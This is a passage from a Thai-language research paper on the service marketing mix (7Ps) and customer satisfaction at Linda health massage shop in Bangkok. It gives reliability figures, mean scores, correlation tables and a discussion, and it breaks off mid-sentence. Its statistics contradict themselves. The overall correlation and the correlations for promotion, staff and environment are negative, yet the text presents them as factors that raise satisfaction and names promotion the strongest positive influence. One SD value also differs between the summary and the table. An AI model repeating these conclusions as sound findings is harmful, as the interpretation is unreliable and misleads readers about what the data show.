3. การตรวจสอบคุณภาพเครื่องมือ เครื่องมือที่ใช้ในการศึกษา คือ แบบสอบถาม ผู้ศึกษาสร้างขึ้นจากการศึกษาทฤษฎีจากนักวิชาการ เอกสาร และงานวิจัยที่เกี่ยวข้อง แบบสอบถามที่ใช้ในการวิจัยในครั้งนี้ ผู้วิจัยนำไปทดลองใช้ (Try out) กับ ลูกค้าที่มาใช้บริการร้านลินดา นวดเพื่อสุขภาพ ในช่วงเดือนพฤศจิกายน 2567 และกลุ่มทดลองที่ไม่ใช่กลุ่มตัวอย่าง จำนวน 30 ราย ได้ค่าความเชื่อมั่นของปัจจัยส่วนประสมทางการตลาดบริการ มีค่าเท่ากับ 0.829 ความพึงพอใจในการใช้บริการ มีค่าเท่ากับ 0.836 และแบบสอบถามทั้งฉบับมีค่าเท่ากับ 0.837

ผลการวิจัย

1. ปัจจัยส่วนประสมทางการตลาดบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวมมีระดับความพึงพอใจอยู่ในระดับมาก (M = 4.09, SD = 0.175) เมื่อพิจารณาแยกตามรายด้าน พบว่า ปัจจัยที่ลูกค้าให้ความสำคัญมากที่สุด คือ ด้านผู้ให้บริการ (M = 4.26, SD = 0.410) รองลงมา คือ ด้านผลิตภัณฑ์บริการ (M = 4.15, SD = 0.384) ด้านการส่งเสริมแนะนำบริการ (M = 4.09, SD = 0.422) ด้านสภาพแวดล้อมของการบริการ (M = 4.05, SD = 0.431) ด้านสถานที่บริการ (M = 4.03, SD = 0.422) ด้านราคาค่าบริการ (M = 4.03, SD = 0.362) และด้านกระบวนการบริการ (M = 4.02, SD = 0.350) ตามลำดับ ซึ่งสะท้อนว่า ลูกค้าให้ความสำคัญกับคุณภาพของบุคลากร และผลิตภัณฑ์บริการเป็นหลักในการประเมินความพึงพอใจสำหรับผลการวิเคราะห์แยกรายด้าน สามารถอภิปรายได้ดังนี้

ตารางที่ 3 แสดงค่าเฉลี่ย และส่วนเบี่ยงเบนมาตรฐานของปัจจัยส่วนประสมทางการทางการตลาดบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร

ปัจจัยส่วนประสมทางการทางการตลาดบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานครMSDแปลผลลำดับ
1. ปัจจัยด้านผลิตภัณฑ์บริการ4.150.384มาก2
2. ปัจจัยด้านราคาค่าบริการ4.030.362มาก6
3. ปัจจัยด้านสถานที่บริการ4.030.394มาก5
4. ปัจจัยด้านการส่งเสริมแนะนำบริการ4.090.422มาก3
5. ปัจจัยด้านผู้ให้บริการ4.260.410มากที่สุด1
6. ปัจจัยด้านสภาพแวดล้อมของการบริการ4.050.431มาก4
7. ปัจจัยด้านกระบวนการบริการ4.020.350มาก7
โดยภาพรวม4.090.175มาก 

1.1 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านผลิตภัณฑ์บริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.15, SD = 0.384) ซึ่งแสดงถึง ความพึงพอใจสูงในผลิตภัณฑ์ที่ใช้ในการให้บริการ เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ คุณพึงพอใจกับคุณภาพและความหลากหลายของผลิตภัณฑ์ที่ใช้ในการบริการ เช่น น้ำมันหอมระเหย น้ำมันนวด เป็นต้น รองลงมา ได้แก่ คุณพึงพอใจกับคุณภาพและมาตรฐานการบริการที่ได้รับ วัสดุอุปกรณ์ที่ใช้ในการนวด เช่น ผ้าปูที่นอน หมอน ลูกประคบ มีความสะอาด และโปรแกรมการให้บริการมีความหลากหลาย ตรงกับความต้องการของคุณ และสมุนไพร หรือลูกประคบที่ใช้ในการบริการ มีความสดใหม่ ตามลำดับ

1.2 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านราคาค่าบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.03, SD = 0.362) ซึ่งสะท้อนถึงความพึงพอใจในด้านราคาของบริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ ร้านมีการแจ้งอัตราค่าบริการอย่างชัดเจนก่อนเข้ารับบริการ รองลงมา ได้แก่ อัตราค่าบริการของร้านมีความเหมาะสม เมื่อเปรียบเทียบกับคุณภาพการให้บริการ คุณพึงพอใจกับราคาค่าบริการของร้านในระดับใด อัตราค่าบริการของร้านเหมาะสม เมื่อเปรียบเทียบกับร้านอื่นที่ให้บริการในลักษณะเดียวกันในพื้นที่ และร้านมีช่องทางการชำระเงินที่หลากหลาย เช่น เงินสด บัตรเครดิต และการชำระเงินผ่านแอปพลิเคชัน ตามลำดับ

1.3 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านสถานที่บริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.03, SD = 0.394) ซึ่งสะท้อนถึงความพึงพอใจในสถานที่บริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ ร้านมีที่จอดรถที่สะดวก ปลอดภัย และเพียงพอต่อความต้องการ รองลงมา ได้แก่ สถานที่ให้บริการมีความสะอาดและเป็นสัดส่วนเหมาะแก่การพักผ่อน ร้านมีสิ่งอำนวยความสะดวกที่เหมาะสม เช่น ที่นั่งคอยรับบริการ ห้องน้ำสำหรับลูกค้า และเครื่องดื่มบริการลูกค้า และบริการ Free Wi-Fi เป็นต้น ร้านตั้งอยู่ใกล้แหล่งขนส่งมวลชน แหล่งชุมชน หรือศูนย์กลางการค้า และร้านตั้งอยู่ในทำเลที่สามารถเดินทางไปมาสะดวก ตามลำดับ

1.4 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านการส่งเสริมแนะนำบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.09, SD = 0.422) ซึ่งแสดงถึงความพึงพอใจในระดับที่สูงเกี่ยวกับการส่งเสริมบริการของร้าน เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ ร้านมีการประชาสัมพันธ์ผ่านสื่อต่าง ๆ เช่น Facebook และป้ายประกาศ รองลงมา ได้แก่ ร้านมีการมอบสิทธิประโยชน์แก่สมาชิก เช่น ส่วนลดพิเศษ หรือบริการเสริมในโอกาสพิเศษ ร้านมีการให้บริการแบบเหมาจ่าย เพื่อลดค่าใช้จ่ายต่อครั้งให้กับลูกค้า การโฆษณาและประชาสัมพันธ์ของร้านมีความน่าสนใจและครอบคลุมสื่อต่าง ๆ มากพอ และร้านมีการจัดโปรโมชั่นหรือให้ส่วนลดในช่วงเวลาที่กำหนด ตามลำดับ

1.5 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านผู้ให้บริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมากที่สุด (M = 4.26, SD = 0.410) ซึ่งแสดงให้เห็นถึงความพึงพอใจที่สูงในด้านการบริการของพนักงาน เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ พนักงานมีความสุภาพ มีจิตใจบริการ และมีความเอาใจใส่ต่อลูกค้า รองลงมา ได้แก่ พนักงานมีความรู้ ความชำนาญและผ่านการรับรองมาตรฐานในด้านการนวด พนักงานมีบุคลิกภาพที่ดี ยิ้มแย้มแจ่มใส และมีมนุษยสัมพันธ์ที่ดี พนักงานมีทักษะการสื่อสารที่ดี สามารถสื่อสารกับลูกค้าได้อย่างชัดเจนและเข้าใจ และพนักงานแต่งกายสะอาด สุภาพเรียบร้อย และเหมาะสมกับการให้บริการ ตามลำดับ

1.6 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านสภาพแวดล้อมของการบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.05, SD = 0.431) ซึ่งแสดงให้เห็นว่า สภาพแวดล้อมของการบริการร้านลินดา นวดเพื่อสุขภาพได้รับการประเมินในระดับที่ดีจากลูกค้า เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ การตกแต่ง และบรรยากาศภายในร้านเหมาะสม และสร้างความผ่อนคลาย รองลงมา ได้แก่ ร้านมีความเงียบสงบและเป็นส่วนตัว ความสะอาดและการจัดเรียงของเครื่องใช้ภายในร้านเป็นระเบียบเรียบร้อย ห้องนวดมีขนาด และความสะดวกสบายเหมาะสม และสถานที่มีสิ่งอำนวยความสะดวกเพียงพอ เช่น ที่จอดรถ อากาศ อุณหภูมิ และแสงสว่าง เป็นต้น ตามลำดับ

1.7 ปัจจัยส่วนประสมทางการตลาดบริการ ด้านกระบวนการบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยภาพรวม พบว่า มีค่าเฉลี่ยอยู่ในระดับมาก (M = 4.02, SD = 0.350) ซึ่งแสดงให้เห็นว่า โดยรวมกระบวนการบริการของร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานครได้รับการประเมินในระดับที่ดีจากลูกค้า เมื่อพิจารณาเป็นรายข้อ พบว่า ข้อที่มีค่าเฉลี่ยมากที่สุด ได้แก่ มีการแจ้งราคาการบริการชัดเจนก่อนการใช้บริการ รองลงมา ได้แก่ การบริการมีความสะดวก รวดเร็วและมีความชัดเจนในขั้นตอน การให้บริการมีมาตรฐานและเป็นไปตามขั้นตอนที่กำหนดทุกครั้ง ความหลากหลายของบริการและระยะเวลาในการให้บริการเหมาะสมและตอบโจทย์ความต้องการของลูกค้า และมีการแนะนำประเภทและประโยชน์ของการนวดเพื่อสุขภาพอย่างเหมาะสม ตามลำดับ

2. ความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร พบว่า มีค่าเฉลี่ยอยู่ในระดับมากที่สุด (M = 4.35, SD = 0.515) ซึ่งหมายความว่า ลูกค้าส่วนใหญ่มีความพึงพอใจสูงในการใช้บริการของร้าน โดยค่าความเบี่ยงเบนมาตรฐาน (SD) ที่ต่ำแสดงให้เห็นว่า ความพึงพอใจของลูกค้าโดยรวมมีความสอดคล้องกันในระดับที่สูง

3. ผลการทดสอบสมมติฐาน พบว่า ปัจจัยส่วนประสมทางการตลาดบริการมีความสัมพันธ์กับความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร โดยรวมอย่างมีนัยสำคัญทางสถิติ (r = −0.191, p < 0.01) สะท้อนว่าปัจจัยด้านการตลาดมีผลต่อระดับความพึงพอใจของผู้ใช้บริการ เมื่อพิจารณาเป็นรายด้าน พบว่า ด้านผลิตภัณฑ์บริการ มีความสัมพันธ์เชิงบวกในระดับต่ำกับความพึงพอใจ (r = 0.215, p < 0.01) ด้านราคาค่าบริการ ไม่มีความสัมพันธ์ที่มีนัยสำคัญทางสถิติ (r = -0.100, p > 0.05) สถานที่บริการ ไม่พบความสัมพันธ์ที่มีนัยสำคัญทางสถิติ (r = -0.090, p > 0.05) การส่งเสริมแนะนำบริการ พบความสัมพันธ์เชิงลบในระดับปานกลาง (r = -0.378, p < 0.01) ผู้ให้บริการ มีความสัมพันธ์เชิงลบในระดับต่ำ (r = -0.236, p < 0.01) สภาพแวดล้อมของการบริการ มีความสัมพันธ์เชิงลบในระดับต่ำ (r = -0.146, p < 0.05) กระบวนการบริการ มีความสัมพันธ์เชิงบวกในระดับต่ำ (r = 0.211, p < 0.01) สรุปได้ว่า ปัจจัยที่ส่งผลต่อความพึงพอใจของลูกค้าอย่างมีนัยสำคัญ ได้แก่ ด้านผลิตภัณฑ์ ด้านการส่งเสริม ด้านผู้ให้บริการ ด้านสภาพแวดล้อม และด้านกระบวนการบริการ ขณะที่ด้านราคาและสถานที่ไม่มีความสัมพันธ์อย่างมีนัยสำคัญกับความพึงพอใจในการใช้บริการ

ตารางที่ 4 สรุปผลการทดสอบสมมติฐานความสัมพันธ์ระหว่างปัจจัยส่วนประสมทางการตลาดบริการกับความพึงพอใจในการใช้บริการ

ปัจจัยส่วนประสมทางการตลาดบริการค่าสัมประสิทธิ์สหสัมพันธ์ (r)ค่า pผลการทดสอบสมมติฐาน
ด้านผลิตภัณฑ์บริการ0.215< 0.01ยอมรับสมมติฐาน
ราคาค่าบริการ-0.100> 0.05ปฏิเสธสมมติฐาน
สถานที่บริการ-0.090> 0.05ปฏิเสธสมมติฐาน
การส่งเสริมแนะนำบริการ-0.378< 0.01ยอมรับสมมติฐาน
ผู้ให้บริการ-0.236< 0.01ยอมรับสมมติฐาน
สภาพแวดล้อมของการบริการ-0.146< 0.05ยอมรับสมมติฐาน
กระบวนการบริการ0.211< 0.01ยอมรับสมมติฐาน
รวมทุกด้าน–0.191< 0.01ยอมรับสมมติฐาน

อภิปรายผล

ปัจจัยส่วนประสมทางการตลาดบริการส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ผลการศึกษาแสดงให้เห็นว่า ปัจจัยส่วนประสมทางการตลาดบริการ โดยรวมส่งผลต่อความพึงพอใจของลูกค้าอย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 โดยเฉพาะด้านการส่งเสริมแนะนำบริการ ด้านผู้ให้บริการ ด้านกระบวนการบริการ และด้านผลิตภัณฑ์บริการ ที่ส่งผลต่อความพึงพอใจ ในระดับนัยสำคัญอย่างชัดเจน ขณะที่ด้านสภาพแวดล้อมของการบริการมีนัยสำคัญที่ระดับ 0.05 ส่วนด้านราคาและสถานที่ไม่มีความสัมพันธ์อย่างมีนัยสำคัญทางสถิติ อย่างไรก็ตาม ความพึงพอใจของลูกค้าร้านลินดา นวดเพื่อสุขภาพสูงสุดเกิดจากคุณภาพของผู้ให้บริการที่สุภาพ เอาใจใส่ และมีความชำนาญ ซึ่งสอดคล้องกับแนวคิดของ ศิริ พันธ์ทา (2562) และผลการศึกษาของ ราหุลทัต (2567) สุกัญญา แก้วเมืองมูล (2562) และรัตวัน เชาวน์ดี (2564) ที่ยืนยันว่า ปัจจัยด้านบุคลากรเป็นองค์ประกอบสำคัญที่ส่งผลต่อคุณภาพและความประทับใจในบริการ ด้านผลิตภัณฑ์ ลูกค้าพึงพอใจต่อคุณภาพ ความสะอาด และความหลากหลายของผลิตภัณฑ์ เช่น น้ำมันหอมระเหยและสมุนไพร ซึ่งสอดคล้องกับงานของ ณัฐกานต์ มีพัฒน์ (2565) และ ปภัสสร นิลวงค์ (2565) ที่พบว่า การใช้ผลิตภัณฑ์ที่มีมาตรฐานและเป็นธรรมชาติมีผลต่อการตัดสินใจใช้บริการอย่างมีนัยสำคัญ การส่งเสริมบริการ เช่น โปรโมชั่นและการประชาสัมพันธ์ผ่าน Facebook และป้ายหน้าร้าน ช่วยเพิ่มการรับรู้แบรนด์และจูงใจให้เกิดการใช้บริการซ้ำ ซึ่งสอดคล้องกับผลวิจัยของ อุมาพร ศรีอุ่นลี และวัชระ ยี่สุ่นเทศ (2562) และ นิดานุช ราหุลทัต (2567) ที่ระบุว่า การสื่อสารทางการตลาดผ่านสื่อออนไลน์มีอิทธิพลต่อพฤติกรรมผู้บริโภคอย่างชัดเจน กระบวนการบริการที่ชัดเจน เช่น การแจ้งราคาก่อนใช้บริการ การดำเนินการตามขั้นตอนที่มาตรฐาน และความรวดเร็ว สะท้อนถึงประสิทธิภาพในการบริหารจัดการที่ลูกค้ารู้สึกเชื่อมั่น ซึ่งตรงกับงานของ ไพโรจน์ สมศรี (2564) และ ณัฐกานต์ มีพัฒน์ (2565) ด้านสถานที่และราคา แม้ไม่มีผลอย่างมีนัยสำคัญทางสถิติ แต่ลูกค้ายังให้ความสำคัญกับความสะดวกในการเดินทาง การมีที่จอดรถ และราคาที่โปร่งใส ซึ่งเป็นสิ่งที่ควรรักษาไว้ และปรับปรุงอย่างต่อเนื่อง กล่าวได้ว่า ปัจจัยส่วนประสมทางการตลาดบริการมีบทบาทสำคัญในการสร้างความพึงพอใจของลูกค้าในหลากหลายมิติ ทั้งในด้านคุณภาพบริการ การประชาสัมพันธ์ ความเป็นมืออาชีพของพนักงาน และบรรยากาศร้าน ซึ่งสอดคล้องกับงานวิจัยของ วิรัลรัตน์ หิรัญญาภรณ์ (2563) และนิดานุช ราหุลทัต (2567) ที่ยืนยันว่า 7Ps มีผลต่อการตัดสินใจและความพึงพอใจของลูกค้าในบริการสุขภาพและสปาอย่างชัดเจน ดังนั้น การพัฒนาทุกองค์ประกอบอย่างสมดุลและต่อเนื่อง คือ หัวใจของความสำเร็จในการสร้างความภักดีและความยั่งยืนของธุรกิจ

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านผลิตภัณฑ์บริการ ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ผลการศึกษา พบว่า ปัจจัยด้านผลิตภัณฑ์บริการส่งผลต่อความพึงพอใจของลูกค้าอย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 โดยลูกค้าพึงพอใจในคุณภาพและความหลากหลายของผลิตภัณฑ์ที่ใช้ เช่น น้ำมันหอมระเหย สมุนไพร และลูกประคบ รวมถึงความสะอาดของวัสดุอุปกรณ์และความเหมาะสมของโปรแกรมบริการ เช่น นวดไทย นวดออย และการนวดเพื่อสุขภาพเฉพาะทาง ซึ่งตอบสนองความต้องการของกลุ่มลูกค้าที่มีปัญหาสุขภาพ เช่น ออฟฟิศซินโดรม ได้เป็นอย่างดี ประเด็นสำคัญของผลการศึกษานี้ คือ การให้บริการด้วยผลิตภัณฑ์ที่มีคุณภาพ หลากหลาย และเหมาะสมกับแต่ละบุคคล ส่งผลโดยตรงต่อการตัดสินใจกลับมาใช้บริการซ้ำ และสร้างความภักดีต่อร้าน ซึ่งสอดคล้องกับงานวิจัยของวิรัลรัตน์ หิรัญญาภรณ์ (2563) ที่พบว่า ปัจจัยด้านผลิตภัณฑ์มีผลต่อการตัดสินใจใช้บริการนวดแผนไทยของผู้บริโภคในจังหวัดสิงห์บุรี เช่นเดียวกับรัตวัน เชาวน์ดี (2564) ที่ระบุว่า ด้านผลิตภัณฑ์เป็นปัจจัยสำคัญที่สุดในการเลือกใช้บริการร้านนวดแผนไทยในจังหวัดลพบุรี นอกจากนี้ ณัฐกานต์ มีพัฒน์ (2565) ยังพบว่า ปัจจัยด้านผลิตภัณฑ์ส่งผลต่อการตัดสินใจใช้บริการอย่างมีนัยสำคัญทางสถิติในอำเภอเมืองสุรินทร์ ขณะที่นิดานุช ราหุลทัต (2567) ระบุว่า ด้านผลิตภัณฑ์มีผลต่อความพึงพอใจในคุณภาพการบริการของผู้ใช้บริการร้านนวดแผนไทยในเขตพญาไทและราชเทวี กรุงเทพมหานคร สรุปได้ว่า ผลิตภัณฑ์บริการที่มีคุณภาพ ความสะอาด และความหลากหลายที่ตอบโจทย์ลูกค้าอย่างครอบคลุม เป็นหัวใจสำคัญที่ส่งเสริมความพึงพอใจและความภักดีของลูกค้าในธุรกิจบริการด้านสุขภาพ

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านราคาค่าบริการ ไม่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ผลการศึกษาพบว่า ปัจจัยด้านราคาค่าบริการไม่มีนัยสำคัญทางสถิติที่ระดับ 0.05 ต่อความพึงพอใจของลูกค้า สะท้อนว่า ผู้ใช้บริการให้ความสำคัญกับคุณภาพการบริการมากกว่าราคา แม้ราคาที่โปร่งใสและเหมาะสมอาจมีผลต่อความรู้สึกคุ้มค่า แต่ไม่ใช่ปัจจัยหลักในการตัดสินใจ โดยลูกค้าพร้อมจ่ายหากมั่นใจว่าจะได้รับบริการที่มีคุณภาพ ตรงตามความต้องการ และมีประสบการณ์การนวดที่ดี ประเด็นสำคัญ คือ ลูกค้าประเมิน “คุณค่า” ที่ได้รับ มากกว่าการเปรียบเทียบ “ราคา” กับคู่แข่ง โดยเฉพาะในธุรกิจบริการเพื่อสุขภาพที่ลูกค้าเน้นการดูแลจากพนักงาน ความผ่อนคลาย และบรรยากาศมากกว่าความประหยัด ผลการศึกษานี้สอดคล้องกับงานวิจัยของ ณัฐกานต์ มีพัฒน์ (2565) ซึ่งพบว่า ราคาค่าบริการไม่มีผลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทยในอำเภอเมืองสุรินทร์ และงานวิจัยของ นิดานุช ราหุลทัต (2567) ซึ่งระบุว่า ปัจจัยด้านราคาไม่มีผลต่อคุณภาพการบริการในมุมมองของผู้ใช้บริการร้านนวดแผนไทยในเขตพญาไท และเขตราชเทวี สรุปได้ว่า ราคาค่าบริการไม่ใช่ปัจจัยชี้ขาดในการสร้างความพึงพอใจของลูกค้าในบริการร้านลินดา นวดเพื่อสุขภาพ แต่องค์ประกอบด้านคุณภาพ ประสบการณ์การใช้บริการ และการดูแลเอาใจใส่จากพนักงาน เป็นปัจจัยที่สำคัญกว่าในการสร้างความเชื่อมั่นและความภักดีในระยะยาว

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านสถานที่บริการ ไม่ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร ผลการศึกษา พบว่า ปัจจัยด้านสถานที่บริการไม่มีนัยสำคัญทางสถิติที่ระดับ 0.05 ต่อความพึงพอใจของลูกค้า แสดงว่า ลูกค้าไม่ได้ให้ความสำคัญกับทำเลที่ตั้งหรือสิ่งอำนวยความสะดวกในร้านเป็นหลัก หากแต่ให้ความสำคัญกับ “ประสบการณ์บริการ” ที่ได้รับ เช่น ความเชี่ยวชาญของพนักงาน ความเอาใจใส่ และคุณภาพของการนวด มากกว่าสถานที่หรือการเดินทางที่สะดวก แม้ร้านจะมีที่จอดรถ หรืออยู่ในทำเลดี แต่หากบริการไม่ตอบสนองความต้องการได้อย่างตรงจุด ก็ไม่สามารถสร้างความพึงพอใจได้อย่างแท้จริง ดังนั้น “สถานที่” จึงถูกมองว่า เป็นเพียงเงื่อนไขพื้นฐาน มากกว่าปัจจัยสร้างความประทับใจ ผลการศึกษานี้สอดคล้องกับ ศมน พรหมหิตาทร (2560) ที่พบว่า ปัจจัยด้านสถานที่ไม่ส่งผลต่อความพึงพอใจของผู้ใช้บริการสปาประเภท Day Spa ในเขตกรุงเทพฯ และปริมณฑล เนื่องจาก สถานที่ส่วนใหญ่มีความสะดวกอยู่แล้ว และลูกค้าให้ความสำคัญกับการบริการมากกว่า ข้อมูลนี้ ยังสอดคล้องกับ ณัฐกานต์ มีพัฒน์ (2565) ที่ศึกษาผู้ใช้บริการในอำเภอเมืองสุรินทร์ และพบว่า ปัจจัยด้านสถานที่ไม่มีผลต่อการตัดสินใจเลือกใช้บริการนวดแผนไทยอย่างมีนัยสำคัญเช่นกัน สรุปได้ว่า สถานที่บริการเป็นปัจจัยพื้นฐานที่ควรมี แต่ไม่ใช่ตัวขับเคลื่อนหลักในการสร้างความพึงพอใจให้แก่ลูกค้า ลูกค้าจะให้ความสำคัญกับคุณภาพของบริการและประสบการณ์ที่ได้รับมากกว่า ทำให้ร้านลินดา นวดเพื่อสุขภาพ ควรมุ่งพัฒนาคุณภาพบริการและบุคลากร มากกว่าการเน้นที่ทำเลเพียงอย่างเดียว

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านการส่งเสริมแนะนำบริการ ส่งผลต่อความพึงพอใจ ของลูกค้าในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร อย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 และเป็นปัจจัยที่มีอิทธิพลมากที่สุดในกลุ่ม 7Ps ผลการศึกษา พบว่า กลยุทธ์ส่งเสริมการตลาดของร้าน เช่น การประชาสัมพันธ์ผ่าน Facebook และป้ายโฆษณา มีบทบาทสำคัญในการสร้างการรับรู้ และกระตุ้นความสนใจของลูกค้า การจัดโปรโมชั่น เช่น สิทธิพิเศษสำหรับสมาชิก Linda Member ได้แก่ การนวดฟรี บริการเสริม หรือแพ็กเกจราคาพิเศษ ช่วยสร้างความคุ้มค่าในการใช้บริการ ทำให้ลูกค้ารู้สึกประทับใจ และเพิ่มความภักดีต่อร้านลินดา นวดเพื่อสุขภาพอย่างต่อเนื่อง นอกจากนี้ การแนะนำบริการเพิ่มเติม เช่น บริการเหมาจ่าย การนวดออฟฟิศซินโดรม หรือนวดไทยออย ยังช่วยเพิ่มมูลค่าให้กับบริการ และตรงกับความต้องการเฉพาะของลูกค้าแต่ละกลุ่ม ผลการศึกษานี้สอดคล้องกับงานของ วิรัลรัตน์ หิรัญญาภรณ์ (2563) ที่พบว่า ปัจจัยด้านการส่งเสริมการตลาดมีอิทธิพลต่อการตัดสินใจใช้บริการนวดแผนไทยของผู้บริโภค รัตวัน เชาวน์ดี (2564) ที่ระบุว่า ปัจจัยด้านการส่งเสริมการตลาดมีผลต่อความพึงพอใจของผู้ใช้บริการในระดับมาก และนิดานุช ราหุลทัต (2567) พบว่า การสนับสนุนการตลาดมีผลต่อคุณภาพการบริการของผู้ใช้บริการอย่างมีนัยสำคัญ สรุปได้ว่า ปัจจัยด้านการส่งเสริมแนะนำบริการ เป็นองค์ประกอบสำคัญที่ช่วยสร้างความพึงพอใจและความภักดีของลูกค้า ร้านลินดา นวดเพื่อสุขภาพ ควรต่อยอดจุดแข็งนี้ ด้วยการใช้สื่อหลากหลาย พัฒนาโปรโมชั่นอย่างสม่ำเสมอ และให้สิทธิประโยชน์ที่ตรงกับความต้องการ เพื่อสร้างความแตกต่างและความยั่งยืนทางการตลาด

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านผู้ให้บริการ ส่งผลต่อความพึงพอใจของลูกค้าในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร อย่างมีนัยสำคัญทางสถิติที่ระดับ 0.01 ผลการศึกษาแสดงให้เห็นว่า “พนักงาน” เป็นปัจจัยที่ลูกค้าให้ความสำคัญมากที่สุด โดยเฉพาะด้านความสุภาพ จิตใจบริการ และความเอาใจใส่ ซึ่งช่วยสร้างความเชื่อมั่นและความประทับใจให้แก่ลูกค้า คุณสมบัติอื่นที่ได้รับการประเมินในระดับสูง ได้แก่ ความรู้และความชำนาญที่ผ่านการอบรมตามมาตรฐานกรมสนับสนุนบริการสุขภาพ (สบส.) บุคลิกภาพที่ดี ทักษะการสื่อสารที่เข้าใจง่าย และการแต่งกายที่เหมาะสม ร้านลินดา นวดเพื่อสุขภาพ มีพนักงานที่ผ่านการฝึกอบรมหลักสูตร 150 ชั่วโมง และมีประสบการณ์เฉลี่ยมากกว่า 6 ปี ซึ่งทำให้ลูกค้าส่วนใหญ่ไว้วางใจจนถึงขั้นจองพนักงานล่วงหน้า ทั้งนี้ ชี้ให้เห็นว่า “คุณภาพของผู้ให้บริการ” คือ หัวใจหลักที่สร้างความพึงพอใจและภักดีในระยะยาว ผลการศึกษานี้สอดคล้องกับงานของ วิรัลรัตน์ หิรัญญาภรณ์ (2563) ที่พบว่า ด้านบุคลากรมีอิทธิพลต่อการตัดสินใจใช้บริการนวดแผนไทยของผู้บริโภค รัตวัน เชาวน์ดี (2564) ที่พบว่า ปัจจัยด้านบุคลากรมีผลต่อความพึงพอใจของลูกค้าในระดับมาก และนิดานุช ราหุลทัต (2567) ระบุว่า บุคลากรที่มีความรู้ มีจิตใจบริการ และมาตรฐานวิชาชีพ มีผลต่อคุณภาพการบริการอย่างมีนัยสำคัญสรุปได้ว่า ด้านผู้ให้บริการถือเป็นปัจจัยสำคัญที่สุดในความพึงพอใจของลูกค้า พนักงานที่มีทักษะ ความสุภาพ และมาตรฐานวิชาชีพช่วยเสริมสร้างประสบการณ์ที่ดี สร้างความไว้วางใจ และกระตุ้นให้ลูกค้ากลับมาใช้บริการซ้ำอย่างต่อเนื่อง ร้านควรพัฒนาบุคลากรอย่างต่อเนื่อง เพื่อเสริมความสามารถในการแข่งขันในตลาดบริการสุขภาพ

ปัจจัยส่วนประสมทางการตลาดบริการ ด้านสภาพแวดล้อมของการบริการ ส่งผลต่อความพึงพอใจในการใช้บริการร้านลินดา นวดเพื่อสุขภาพ กรุงเทพมหานคร อย่างมีนัยสำคัญทางสถิติที่ระดับ 0.05 ผลการศึกษา พบว่า บรรยากาศร้านลินดา นวดเพื่อสุขภาพ มีบทบาทสำคัญในการสร้างความพึงพอใจแก่ลูกค้า โดยเฉพาะการตกแต่งร้านที่เหมาะสม ความเงียบสงบ ความสะอาด ความเป็นส่วนตัว และขนาดห้องนวดที่พอดี ล้วนเสริมสร้างบรรยากาศที่ผ่อนคลายและน่าใช้บริการ นอกจากนี้ ทำเลที่ตั้งในเมืองทองธานี ซึ่งเป็นพื้นที่ที่มีสิ่งอำนวยความสะดวกครบครัน มีระบบขนส่งหลากหลาย และมีที่จอดรถเพียงพอโดยไม่เสียค่าใช้จ่าย ยังช่วยเพิ่มความสะดวกในการเข้าถึงบริการ และยกระดับประสบการณ์โดยรวมของลูกค้า สอดคล้องกับผลการศึกษาของ 